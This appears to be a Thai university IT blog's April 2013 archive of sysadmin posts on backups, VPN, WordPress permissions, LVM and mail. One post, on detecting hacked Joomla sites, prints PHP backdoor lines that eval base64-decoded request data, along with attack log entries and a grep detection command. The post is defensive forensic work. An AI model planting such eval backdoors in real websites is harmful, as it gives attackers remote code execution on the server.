Month: April 2013

  • แนวทางการ Backup บน Ubuntu Server (กรณีระบบ PSU EMail) #2

    ขยายความต่อจาก

    แนวทางการ Backup บน Ubuntu Server (กรณีระบบ PSU EMail)

    ลองมาดูทีละขั้นตอน

    1. ใน directory username.s มีไฟล์ดังนี้
    $ ls -l username.s
    total 0
    -rw-rw-r-- 1 mama mama 0 2013-04-29 14:31 a.txt
    -rw-rw-r-- 1 mama mama 0 2013-04-29 14:31 b.txt
    -rw-rw-r-- 1 mama mama 0 2013-04-29 14:31 c.txt
    -rw-rw-r-- 1 mama mama 0 2013-04-29 14:31 d.txt
    -rw-rw-r-- 1 mama mama 0 2013-04-29 14:31 e.txt

    2. ใช้คำสั่งต่อไปนี้ เพื่อทำการ Full Backup
    tar -zcf username.s-full.tar.gz -g username.s.snar username.s
    ดูไฟล์ใน username.s-full-tar.gz ด้วยคำสั่ง
    tar -ztf username.s-full.tar.gz -g username.s.snar username.s
    จะมีไฟล์ดังนี้
    username.s/
    username.s/a.txt
    username.s/b.txt
    username.s/c.txt
    username.s/d.txt
    username.s/e.txt

    3. ต่อมามีไฟล์เกิดใหม่ 2 ไฟล์ ชื่อ f.txt, g.txt
    4. เมื่อถึงเวลา ระบบทำการ Incremental Backup ด้วยคำสั่ง
    tar -zcf username.s-i01.tar.gz -g username.s.snar username.s
    ดูไฟล์ใน username.s-i01-tar.gz ด้วยคำสั่ง
    tar -ztf username.s-i01.tar.gz -g username.s.snar username.s
    จะมีไฟล์ดังนี้
    username.s/
    username.s/f.txt
    username.s/g.txt

    5. ลบไฟล์ c.txt, e.txt
    และมีไฟล์ h.txt เกิดขึ้น
    6. เมื่อถึงเวลา ระบบทำการ Incremental Backup ด้วยคำสั่ง
    tar -zcf username.s-i02.tar.gz -g username.s.snar username.s
    ดูไฟล์ใน username.s-i02-tar.gz ด้วยคำสั่ง
    tar -ztf username.s-i02.tar.gz -g username.s.snar username.s
    จะมีไฟล์ดังนี้
    username.s/
    username.s/h.txt

    7. (ในระบบ Email ไม่มีเหตุการณ์นี้ แต่ทำให้ดูเป็นตัวอย่าง) ถ้ามีการแก้ไขไฟล์ a.txt
    ซึ่งเดิมเป็นไฟล์ว่างๆ แต่ต่อมา มีการแก้ไขไฟล์ โดยเพิ่มคำว่า “hello world” เข้าไป
    echo "hello world" > username.s/a.txt
    8. เมื่อถึงเวลา ระบบทำการ Incremental Backup ด้วยคำสั่ง
    tar -zcf username.s-i03.tar.gz -g username.s.snar username.s
    ดูไฟล์ใน username.s-i03-tar.gz ด้วยคำสั่ง
    tar -ztf username.s-i03.tar.gz -g username.s.snar username.s
    จะมีไฟล์ดังนี้
    username.s/
    username.s/a.txt

    หวังว่าจะเป็นประโยชน์ครับ

  • How to create PSU VPN (L2TP/IPSec) connection Ubuntu 13.04?

    * ติดตั้งโปรแกรมชื่อ l2tp-ipsec-vpn ด้วยคำสั่ง

    $sudo apt-get install l2tp-ipsec-vpn

    ดังภาพ
    Screenshot from 2013-04-29 11:02:30
    * ตอบ y
    Screenshot from 2013-04-29 11:03:16
    * ตอบ No
    Screenshot from 2013-04-29 11:03:31
    Screenshot from 2013-04-29 11:03:40
    * กด OK
    Screenshot from 2013-04-29 11:03:53
    * สั่ง reboot เครื่อง
    Screenshot from 2013-04-29 11:04:12
    * เมื่อบูทเสร็จจะพบว่ามีไอคอนเพิ่มมาบนพาเนล
    Screenshot from 2013-04-29 11:44:16
    * คลิกซ้ายเลือก Edit Connection
    Screenshot from 2013-04-29 12:00:41
    * หน้าจอจะมืดลงและมีช่องให้ใส่พาสเวิร์ดของผู้ใช้ลงไปแล้วกด OK
    Screenshot from 2013-04-29 12:02:16
    * จะได้หน้าจอดังรูป
    Screenshot from 2013-04-29 11:21:03
    * คลิก Add จะได้หน้าจอดังรูป ใส่ vpn.psu.ac.th ลงไปในช่อง Connection name กด OK
    Screenshot from 2013-04-29 11:21:32
    * ได้ดังรูป
    Screenshot from 2013-04-29 12:06:09
    * คลิก Edit กรอกข้อความตามรูป
    Screenshot from 2013-04-29 11:22:00
    * คลิก PPP เลือกตามรูป ในช่อง Username และ Password ให้ใช้ PSU Passport
    Screenshot from 2013-04-29 11:22:30
    * คลิก IP setting คลิกเครื่องหมายถูกในช่องสี่เหลี่ยมหน้าข้อความ Obtain DNS server address automatically กด OK
    Screenshot from 2013-04-29 11:23:35
    * กด OK ออกมาจนสุดคลิก Close คลิก OK
    Screenshot from 2013-04-29 11:24:14
    * Reboot อีกครั้ง
    * คลิกที่ไอคอน เลือก vpn.psu.ac.th
    Screenshot from 2013-04-29 11:31:28
    Screenshot from 2013-04-29 11:25:37
    * เมื่อเชื่อมต่อสำเร็จจะเป็นดังรูป
    Screenshot from 2013-04-29 11:28:29
    * สำหรับ Linux Mint 15 อาจจะต้องทำคำสั่งนี้ก่อนจึงจะใช้งานได้

    sudo apt-add-repository ppa:werner-jaeger/ppa-werner-vpn
    sudo apt-get update && sudo apt-get install l2tp-ipsec-vpn

    * ขอให้สนุกครับ

    ที่มา http://rapidvpn.com/setup-vpn-l2tp-ubuntu.htm

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

    ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” ซึ่งเป็นวิธีการตรวจสอบ จาก วันเวลา ของไฟล์ที่ตรวจสอบพบว่า ถูกนำมาวาง จากช่องโหว่ของ Joomla

    แต่เมื่อตรวจสอบลึกลงไป โดยตรวจสอบ ไฟล์ที่เอามาวางไว้ พบว่ามีรูปแบบหลากหลาย *** แต่มีวิธีการเดียวกัน*** นั่นคือ การใช้ eval และ base64_decode ทั้งสิ้น

    ตัวอย่างที่ 1:

    sample1

     

    จะเห็นได้ว่า hacker เขียนไฟล์ดังกล่าว แล้วสร้างตัวแปรว่า $code ในนั้นเป็น Code ซึ่ง “เข้ารหัสแบบ Base64 แล้ว gzip เอาไว้” เพื่อไม่ให้เราตรวจสอบได้ง่ายๆ

    จากนั้น จึงใช้คำสั่ง

    eval(gzinflate(base64_decode($code)))

    ซึ่งจะ decode ข้อความแบบ Base64 ก่อน แล้วค่อย unzip ออกไปอีกที … ซับซ้อน
    ก็จะทำให้ hacker สามารถใช้ code นั้นๆ มาทำอะไรต่อมิอะไรในเครื่อง web server เราได้

     

    ตัวอย่างที่ 2:

    sample2

    ใช้วิธีไปเขียนไฟล์ ของ Joomla โดยตรง (contact.php) ซึ่งพื้นที่ดังกล่าว เปิดให้ apache เขียนได้ และมีที่เปิด Permission เป็น 777 จึงทำให้ apache เขียนได้เช่นกัน

    โดยในตัวอย่างนี้ ใช้วิธีเขียนไว้ที่บรรทัดแรกของไฟล์ และใช้คำสั่ง

    eval(base64_decode($_REQUEST['c_id']))

    ต่างจากตัวอย่างที่ 1 ตรงที่ แทนที่จะฝัง Code ไว้ในไฟล์ ก็ใช้วิธีส่ง Code ผ่านทาง Action “POST” ของ HTTP มา (ในภาษา PHP ตัวแปรที่รับค่าจาก HTTP เข้ามามีได้ทั้ง GET, POST และ REQUEST ซึ่งตัว REQUEST ดังกล่าว สามารถรับได้ทั้งแบบ GET และ POST)

    ถ้าเฝ้าดูใน log ไฟล์ ก็จะเห็นรูปแบบดังนี้

    216.239.45.67 - - [24/Apr/2013:08:22:41 +0700] "GET /language/settings.class.php HTTP/1.1" 200 197 "-" "Python-urllib/2.7"
    202.46.129.104 - - [24/Apr/2013:08:23:02 +0700] "POST /language/settings.class.php HTTP/1.1" 200 497 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:08:35:08 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    62.193.237.22 - - [24/Apr/2013:08:51:35 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    200.198.186.38 - - [24/Apr/2013:08:56:29 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    31.196.4.41 - - [24/Apr/2013:08:56:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.251.84 - - [24/Apr/2013:08:57:27 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:02:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:22:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    77.246.145.52 - - [24/Apr/2013:09:46:32 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:51:14 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    122.155.13.146 - - [24/Apr/2013:09:53:19 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:09:56:22 +0700] "POST /language/settings.class.php HTTP/1.1" 200 197 "-" "Mozilla/5.0 Firefox/3.6.12"
    203.172.179.246 - - [24/Apr/2013:10:08:05 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:17:13 +0700] "POST /language/settings.class.php HTTP/1.1" 200 226 "-" "Mozilla/5.0 Firefox/3.6.12"
    118.127.4.170 - - [24/Apr/2013:10:32:10 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:42 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"
    61.152.116.103 - - [24/Apr/2013:10:53:51 +0700] "POST /language/settings.class.php HTTP/1.1" 200 211 "-" "Mozilla/5.0 Firefox/3.6.12"

    เช่นเดิม เมื่อรับค่าผ่าน GET/POST/REQUEST มาแล้ว ก็จะเอามาผ่าน base64_decode แล้วจะได้ Code มา จากนั้น ส่งให้ eval ทำงานต่อ ก็สามารถใช้งาน Web Server เราทำอะไรก็ได้แล้ว

    ตัวอย่างที่ 3:

    sample3

    ในตอนแรก ก็ยังสงสัยอยู่ว่า ไฟล์นี้ เป็นไฟล์ของระบบหรือไม่ เพราะหน้าตาไม่น่าจะเป็นอันตราย ดูคล้ายๆเป็น Configuration File ธรรมดา

    แต่เมื่อดูให้ดีๆ ก็พบว่ามี

    eval(base64_decode($_REQUEST['c_id']))

    อีกแล้ว ซึ่งวิธีการใช้งาน ก็แบบเดียวกับตัวอย่างที่ 2

    UPDATE !!!

    แบบที่ไม่ใช่ eval ก็มีนะ

    new-backdoor

    วิธีการตรวจสอบ

    ให้ใช้คำสั่งต่อไปนี้

    find ./ -name "*.php" -exec egrep -l "@eval.*base64_decode" {} \;

    เพื่อตรวจสอบ หาไฟล์ที่มีคำว่า eval และ base64_decode อยู่ใกล้ๆกัน หากพบไฟล์เข้าข่ายดังกล่าว แนะนำให้ตรวจสอบอย่างละเอียด และย้ายออกมาจากพื้นที่ website เพื่อตรวจสอบให้แน่ใจอีกครั้งครับ

    นอกจากนั้น ควรตรวจสอบว่า มี Directory ใดบ้าง ที่ www-data หรือ apache (user ของ Web Server) เขียนได้ โดยใช้คำสั่งต่อไปนี้

    find ./ -user www-data -perm -u+w -type d

  • Linux Mint – แหล่งรวมรวมเอกสาร ข้อมูลความรู้ต่างๆ

    Linux Mint – แหล่งรวมรวมเอกสาร ข้อมูลความรู้ต่างๆ
    ลิงค์ http://opensource.cc.psu.ac.th/Linuxmint

    1-วิธีตั้งค่าให้อัปเดต Linux Mint ได้เร็วขึ้น ทำได้โดยการตั้งค่าให้ติดต่อกับ server ในประเทศไทย
    ลิงค์ http://opensource.cc.psu.ac.th/วิธีตั้งค่าให้อัปเดต_Linux_Mint_ได้เร็วขึ้น

    2-วิธีปรับการตั้งค่า Linux Mint – Boot Options กรณีติดตั้ง Multi OS ปรับการหน่วงเวลาการเลือก OS
    ลิงค์ http://opensource.cc.psu.ac.th/วิธีปรับการตั้งค่า_Linux_Mint_-_Boot_Options_กรณีติดตั้ง_Multi_OS_ปรับการหน่วงเวลาการเลือก_OS

    3-คำสั่งตรวจสอบรายชื่อ packages ที่ติดตั้งในระบบปฎิบัติการ Linux Mint, Ubuntu, Debian
    ลิงค์ http://opensource.cc.psu.ac.th/คำสั่งตรวจสอบรายชื่อ_packages_ที่ติดตั้งในระบบปฎิบัติการ_Linux_Mint,_Ubuntu,_Debian

    4-แก้ไข Firefox browser แจ้งว่าใช้ flash player ที่ไม่ปลอดภัย หรือ Outdated
    ลิงค์ http://opensource.cc.psu.ac.th/แก้ไข Firefox browser แจ้งว่าใช้ flash player ที่ไม่ปลอดภัย

    5-ตั้งค่า VPN สำหรับ Linux Mint
    ลิงค์ http://opensource.cc.psu.ac.th/ตั้งค่า_VPN_สำหรับ_Linux_Mint

    และอื่นๆที่จะมีเพิ่มเติมมาเรื่อยๆ

  • WordPress file owner and permission

    ตอนนี้เราควรให้ความสำคัญกับความปลอดภัยของเว็บไซต์ wordpress โดยการตั้งค่าสิทธิของไดเรกทอรีและไฟล์มากขึ้นเพราะมีข่าวที่เว็บไซต์มีช่องโหว่แล้วถูกฝังโค้ด

    เช่น แต่เดิมเราติดตั้ง wordpress ไว้ในไดเรกทอรี /var/www/wordpress แล้วเพื่อให้ทำงานติดตั้ง plugins เพิ่ม ปรับแต่งหน้าเว็บด้วย themes ใหม่ๆ หรือการอัปโหลดรูปภาพและสื่อ รวมทั้งการ upgrade เวอร์ชั่นของ wordpress ทำได้สะดวกง่ายๆ ด้วยการกำหนดสิทธิอย่างง่ายคือ

    sudo chown -R www-data.www-data /var/www/wordpress

    ก็ใช้งานได้แล้ว แต่ดูเหมือนว่าสักวันหนึ่งเราอาจจะเป็นเหยื่อได้ ผมได้คุยกับน้องใหญ่ แล้วก็ลงความเห็นกันว่า เราควรตั้งค่า file owner และ file permission ให้มันเข้มขึ้นแต่ยังสะดวกในการทำงานติดตั้งอะไรๆได้ด้วย ก็เป็นที่มาของคำสั่งข้างล่างนี้

    อันดับแรกก็จะต้องกำหนด file owner กันก่อน ถ้า ubuntu server ของเรา ใช้ username คือ mama และมี group ชื่อ adm ซึ่งเป็นชื่อ group ที่มีสิทธิทำอะไรได้มากกว่า user ธรรมดา ก็ใช้ mama:adm นี้ได้ หรือจะใช้ mama:mama ก็ได้ครับ (ที่เป็น adm ก็เผื่อไว้ว่าวันหนึ่งเราอาจจะเพิ่ม username สักคนเข้าใน groupname adm นี้ก็เท่านั้นเอง) ดังนี้

    sudo chown -R mama:adm /var/www/wordpress
    sudo chown -R mama:adm /var/www/wordpress/wp-content/

    ถัดมาก็กำหนด file owner ที่ให้สิทธิ apache web server ซึ่งใช้ username คือ www-data และ groupname คือ www-data เพียงแค่ไดเรกทอรีที่จำเป็น ดังนี้

    sudo chown -R mama:www-data /var/www/wordpress/wp-content/plugins
    sudo chown -R mama:www-data /var/www/wordpress/wp-content/themes
    sudo chown -R mama:www-data /var/www/wordpress/wp-content/upgrade
    sudo chown -R mama:www-data /var/www/wordpress/wp-content/uploads

    ถัดไปก็กำหนด file permission ให้กับไดเรกทอรีเหล่านี้ด้วย (ผมเพิ่ม -R ลงไปในคำสั่งด้านล่างนี้ด้วยแล้ว) ดังนี้

    chmod -R 775 /var/www/wordpress/wp-content/plugins
    chmod -R 775 /var/www/wordpress/wp-content/themes
    chmod -R 775 /var/www/wordpress/wp-content/upgrade
    chmod -R 775 /var/www/wordpress/wp-content/uploads

    สุดท้าย เราต้องแก้ไขไฟล์ชื่อ wp-config.php ด้วยนะ เหตุผลตรงนี้คือ เราไม่ต้องการติดตั้งแบบที่มันจะถาม ftp user แต่ต้องการให้ติดตั้งได้อัตโนมัติ ให้แก้ไขดังนี้

    sudo vi /var/www/wordpress/wp-config.php

    โดยให้แทรกบรรทัด

    define('FS_METHOD', 'direct');

    ไว้ก่อนบรรทัดนี้ อยู่ประมาณ 10 บรรทัดนับจากท้ายไฟล์ครับ

    /* That’s all, stop editing! Happy blogging. */

    ผมคิดว่าหากเป็น CMS ตัวอื่นๆ ก็คงใช้แนวทางเดียวกันนี้ได้

    ขอจบเพียงเท่านี้ และขอขอบคุณข้อมูลจากคุณเกรียงไกร หนูทองคำ ครับ

  • ตัวอย่างการใช้งาน mutt เพื่อส่ง email แบบ command line

    เมื่อต้องการส่ง email ด้วย command line วิธีที่ถูกต้องที่สุด ไม่ผูกติดกับ email client program บน Linux คือการสร้างไฟล์ แล้วส่งผ่าน sendmail ไม่ว่าจะเป็น original sendmail หรือ backward-compatibility ของ postfix ก็ตาม (จะกล่าวในอีกบทความหนึ่ง)

    แต่หากต้องการความง่าย ก็ลองใช้วิธีนี้ดูครับ

    ผ่านโปรแกรมชื่อ mutt

    ตัวอย่างคือ

    1. ส่ง email ไปให้ username.s@xxx.psu.ac.th

    2. บอกว่า ส่งจาก IT Department ซึ่ง email address เป็น blah@itdept.xxx.psu.ac.th

    3. มี Subject ว่า This is Subject

    4. แนบไฟล์ชื่อ test.txt

    5. แต่จดหมายนี้ ไม่ต้องการให้ผู้ใช้ตอบกลับ จึงส่งให้ no-reply@xxx.psu.ac.th เพื่อโยนทิ้งทันที

    6. เนื้อความ ว่า Hello World

     

    สามารถใช้คำสั่งต่อไปนี้

    export REPLYTO="no-reply@xxx.psu.ac.th"; export EMAIL="IT Department <blah@itdept.xxx.psu.ac.th>"; echo "Hello World" | mutt -s "This is Subject" -a test.txt -- kanakorn.h@psu.ac.th

  • Email System Infrastructure

    mailsystem-infrastructor

  • บันทึกการสร้าง LVM Partition

    เนื่องจากมี disk ขนาดแค่ 560 GB หลายลูก แต่ต้องการเอามารวมกันให้เป็น Volume ใหญ่ๆ และไม่ใช้ RAID
    เขียนเป็นบันทึกเก็บไว้ จึงอยากเอามานำเสนอ เผื่อเป็นประโยชน์

    1. มี /dev/sdb , /dev/sdc , /dev/sdd ก้อนละ 560 GB อยู่ ต้องทำ LVM

    เป้าหมายคือ ต้องการได้ Device สำหรับการ mount ชื่อ /dev/virtual1/logical1

    reference:
    http://www.howtoforge.com/linux_lvm
    http://www.linuxquestions.org/questions/linux-hardware-18/lvcreate-with-max-size-available-749253/
    2. ติดตั้ง lvm software ด้วยคำสั่ง

    apt-get install lvm2 dmsetup mdadm reiserfsprogs xfsprogs

    3. สร้าง partition ใน physical disk ให้เป็นของ LVM Partition

    sudo su
    fdisk /dev/sdb
    Command (m for help): n
    Partition type: p
    Partition number (1-4, default 1): 1
    First sector (2048-1073741823, default 2048):
    Last sector, +sectors or +size{K,M,G} (2048-1073741823, default 1073741823):
    Command (m for help): t
    Hex code (type L to list codes): 8e
    Command (m for help): w

    ทำเช่นเดียวกับกับทั้ง /dev/sdc, /dev/sdd

    4. ต่อไป สร้าง Physical Volume ของ LVM
    pvcreate /dev/sdb1 /dev/sdc1 /dev/sdd1
    pvdisplay

    5. ต่อไป สร้าง Group Volume ของ LVM
    vgcreate virtual1 /dev/sdb1 /dev/sdc1 /dev/sdd1
    vgdisplay
    vgscan

    6. ต่อไป สร้าง Logical Volume ของ LVM (เต็มพื้นที่ที่มี)
    lvcreate --name logical1 -l 100%Free virtual1
    lvdisplay
    lvscan

    7. ต่อไป สร้าง Filesystem แบบ ext4
    mkfs.ext4 /dev/virtual1/logical1

    8. แก้ fstab แล้ว mount
    vi /etc/fstab
    /dev/virtual1/logical1 /var/spool/mailbackup ext4 rw,noatime 0 0
    mount -a

  • elvisnox: text is invisible in black background xterm

    *Ubuntu 13.04 แก้ปัญหานี้แล้วครับ

    หลังจากเข้าร่วม ติว “VirtualBox Networking + vi + Shell Scripts” ก็ติดใจใช้แต่ elvis (elvis เป็น vi editor ชนิดหนึ่ง http://fivedots.coe.psu.ac.th/~cj/LUG/vi.pdf สามารถติดตั้งเพิ่มโดยใช้คำสั่ง

    $sudo apt-get install elvis

    ซึ่งเมื่อติดตั้งแล้ว elvis จะกลายเป็น default editor ทันที ดูได้จากคำสั่ง

    $sudo update-alternative --config editor

    ดังรูป
    Selection_003 )

    มาโดยตลอด ติดอยู่อย่างเดียวคือ เมื่อติดตั้งแล้ว เมื่อเปิด vi ขึ้นมาพบว่าหน้าจอเป็นสีดำทั้งหมด Angry
    Screenshot from 2013-04-17 13:37:57

    ก็ต้องมาเปลี่ยนสีของ terminal เพื่อให้อ่านออกเป็นแบบนี้

    Screenshot from 2013-04-17 13:46:52

    อีกวิธีไม่ต้องแก้สีของโปรไฟล์ คือ แก้ค่าในแฟ้ม /etc/elvis/elvis.clr

    $sudo vi /etc/elvis/elvis.clr

    ให้มองหาข้อความ case termcap { แล้วแก้ตรงบรรทัดที่เขียนว่า color normal yellow or black เป็น color normal yellow on black เซฟแล้วลองเรียก vi ใหม่ได้ผลดังนี้

    Screenshot from 2013-04-17 13:49:40

    สงสัยจะใส่ค่า config ผิดตั้งแต่ตัวติดตั้ง What?! ขอให้สนุกครับ

    ที่มา http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=474202